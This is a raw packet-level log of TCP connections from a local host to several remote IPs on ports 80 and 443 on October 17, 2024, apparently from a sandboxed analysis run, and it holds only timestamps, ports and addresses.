Oct 17, 2024 18:39:37.407427073 CEST	50037	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:37.407496929 CEST	443	50037	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:37.407651901 CEST	50037	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:37.409837008 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:37.414911985 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:37.538167000 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:37.542983055 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:37.548006058 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:37.583306074 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:37.671139956 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:37.714961052 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:47.544634104 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:47.549627066 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:47.676282883 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:47.681293011 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:53.309354067 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:53.314289093 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:53.439912081 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:53.444247007 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:53.449147940 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:53.485523939 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:53.571146011 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:53.616842985 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:58.208174944 CEST	50039	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:58.208226919 CEST	443	50039	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:58.208360910 CEST	50039	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:58.209829092 CEST	50039	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:58.209851027 CEST	443	50039	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:58.826642036 CEST	443	50039	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:58.826787949 CEST	50039	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:58.831371069 CEST	50039	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:58.831401110 CEST	443	50039	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:58.831427097 CEST	50039	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:58.831645966 CEST	443	50039	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:58.832062960 CEST	50039	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:58.834427118 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:58.840301037 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:58.967727900 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:58.971672058 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:58.976592064 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:59.010823011 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:59.097970963 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:59.149023056 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:03.335112095 CEST	50040	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.335163116 CEST	443	50040	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.335273981 CEST	50041	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.335335016 CEST	443	50041	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.335421085 CEST	50042	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.335437059 CEST	443	50042	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.335514069 CEST	50043	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.335524082 CEST	443	50043	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.335630894 CEST	50044	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.335675955 CEST	443	50044	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.335745096 CEST	50045	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.335787058 CEST	443	50045	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.346327066 CEST	50040	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.346360922 CEST	50043	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.346358061 CEST	50042	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.346358061 CEST	50041	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.346465111 CEST	50044	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.346471071 CEST	50045	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.347881079 CEST	50040	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.347901106 CEST	443	50040	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.348292112 CEST	50045	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.348309040 CEST	443	50045	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.348366976 CEST	50044	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.348386049 CEST	443	50044	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.348432064 CEST	50043	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.348442078 CEST	443	50043	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.348500013 CEST	50042	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.348526001 CEST	443	50042	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.348563910 CEST	50041	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.348577023 CEST	443	50041	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.965701103 CEST	443	50042	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.965717077 CEST	443	50042	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.972887039 CEST	443	50040	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.972904921 CEST	443	50040	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.973965883 CEST	50042	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.974239111 CEST	50040	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.974786997 CEST	443	50044	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.974805117 CEST	443	50044	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.977252960 CEST	50042	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.977258921 CEST	443	50042	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.977576971 CEST	443	50042	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.978554964 CEST	50044	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.979885101 CEST	50040	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.979902983 CEST	443	50040	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.980333090 CEST	443	50040	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.982073069 CEST	443	50043	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.982089043 CEST	443	50043	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.982147932 CEST	443	50045	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.982163906 CEST	443	50045	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.982933044 CEST	50044	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.982955933 CEST	443	50044	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.983195066 CEST	50043	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.983201981 CEST	50045	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.983273983 CEST	443	50044	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.985969067 CEST	50045	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.985989094 CEST	443	50045	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.986393929 CEST	443	50045	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.988377094 CEST	50043	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.988389969 CEST	443	50043	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.988688946 CEST	443	50043	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.992624998 CEST	50042	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.992867947 CEST	50040	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.992904902 CEST	443	50042	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.993086100 CEST	443	50040	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.993175030 CEST	50040	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.993185043 CEST	443	50040	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.993554115 CEST	50042	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.993563890 CEST	443	50042	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.994863987 CEST	50044	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.994999886 CEST	50044	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.995138884 CEST	443	50044	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.995346069 CEST	50046	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.995404005 CEST	443	50046	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.995495081 CEST	50047	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.995531082 CEST	443	50047	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.996239901 CEST	50044	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.996289015 CEST	50047	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.996290922 CEST	50042	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.996294022 CEST	50046	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.996520042 CEST	50045	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.996613026 CEST	50045	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.996752977 CEST	443	50045	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.996788979 CEST	50046	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.996802092 CEST	443	50046	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.996860981 CEST	50047	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.996876955 CEST	443	50047	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:03.997397900 CEST	50043	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.997448921 CEST	50043	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:03.997596025 CEST	443	50043	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.002820015 CEST	50045	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.002825022 CEST	50043	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.005832911 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:04.011939049 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:04.029078007 CEST	443	50041	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.029097080 CEST	443	50041	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.029186010 CEST	50041	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.032638073 CEST	50041	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.032649040 CEST	443	50041	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.033055067 CEST	443	50041	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.035100937 CEST	50041	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.035274982 CEST	50041	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.035321951 CEST	443	50041	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.049746990 CEST	50041	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.049802065 CEST	50041	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.136018991 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:04.141904116 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:04.148494959 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:04.181194067 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:04.211411953 CEST	443	50040	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.211467028 CEST	50040	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.490514040 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:04.519716024 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:04.522586107 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:04.574088097 CEST	50048	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:04.579216957 CEST	80	50048	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:04.579324961 CEST	50048	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:04.579524994 CEST	50048	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:04.584861040 CEST	80	50048	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:04.623426914 CEST	443	50046	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.623528957 CEST	50046	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.626725912 CEST	50046	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.626739025 CEST	443	50046	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.626995087 CEST	443	50046	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.629199028 CEST	50046	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.629367113 CEST	443	50046	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.629589081 CEST	50046	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.629600048 CEST	443	50046	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.630044937 CEST	50046	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.632632971 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:04.638176918 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:04.640744925 CEST	443	50047	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.640820980 CEST	50047	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.643903017 CEST	50047	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.643913031 CEST	443	50047	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.644160032 CEST	443	50047	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.646533012 CEST	50047	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.646533012 CEST	50047	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.646704912 CEST	443	50047	34.120.208.123	192.168.2.7
Oct 17, 2024 18:40:04.647106886 CEST	50047	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:40:04.769984007 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:04.773803949 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:04.778647900 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:04.814238071 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:04.907027006 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:40:04.952353001 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:40:05.527394056 CEST	80	50048	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:05.527507067 CEST	50048	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:07.037056923 CEST	50048	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:07.037408113 CEST	50049	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:07.042248011 CEST	80	50049	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:07.042326927 CEST	50049	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:07.042509079 CEST	80	50048	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:07.042536974 CEST	50049	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:07.042565107 CEST	50048	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:07.047389030 CEST	80	50049	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:07.966161966 CEST	80	50049	185.215.113.43	192.168.2.7
Oct 17, 2024 18:40:07.966542959 CEST	50049	80	192.168.2.7	185.215.113.43
Oct 17, 2024 18:40:07.970840931 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:07.975866079 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:07.976165056 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:07.976418972 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:07.981266022 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.887254000 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.887268066 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.887420893 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.891443014 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.891457081 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.891529083 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.892077923 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.892091036 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.892129898 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.896229029 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.896243095 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.896306992 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.896934032 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.896946907 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.896990061 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.901084900 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.901155949 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.901669025 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.901721954 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.935050011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.935214043 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.968723059 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.968736887 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.968748093 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.968868017 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.973056078 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.973069906 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.973140955 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.973467112 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.973479033 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.973519087 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.977814913 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.977828979 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.977875948 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.978210926 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.978224039 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.978260040 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.982558966 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.982572079 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.982583046 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.982614040 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.982635975 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.982978106 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.982990026 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.985058069 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.987323999 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.987381935 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:09.987723112 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:09.987768888 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.026778936 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.026971102 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.031171083 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.031241894 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.031511068 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.031524897 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.031573057 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.032016039 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.032069921 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.036036968 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.036051035 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.036190987 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.036245108 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.036257982 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.036305904 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.036901951 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.036977053 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.041157007 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.041172981 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.041227102 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.042129040 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.042141914 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.042187929 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.046230078 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.046245098 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.046256065 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.046957970 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.048583984 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.080030918 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.080056906 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.080090046 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.080127954 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.080604076 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.080615997 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.081020117 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.084836006 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.084851027 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.084918976 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.085438013 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.085449934 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.085524082 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.089687109 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.089699984 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.089710951 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.089721918 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.089778900 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.089809895 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.091661930 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.091675043 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.091723919 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.091943979 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.092442036 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.092500925 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.094937086 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.094949961 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.094959974 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.095000982 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.095035076 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.095772982 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.095784903 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.095797062 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.095827103 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.095860958 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.102308035 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.102488995 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.103108883 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.103156090 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.103751898 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.103765011 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.103775024 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.103794098 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.103826046 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.104439020 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.104451895 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.104460955 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.104471922 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.104481936 CEST	80	50050	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:10.104484081 CEST	50050	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:10.104523897 CEST	50050	80	192.168.2.7	185.215.113.103
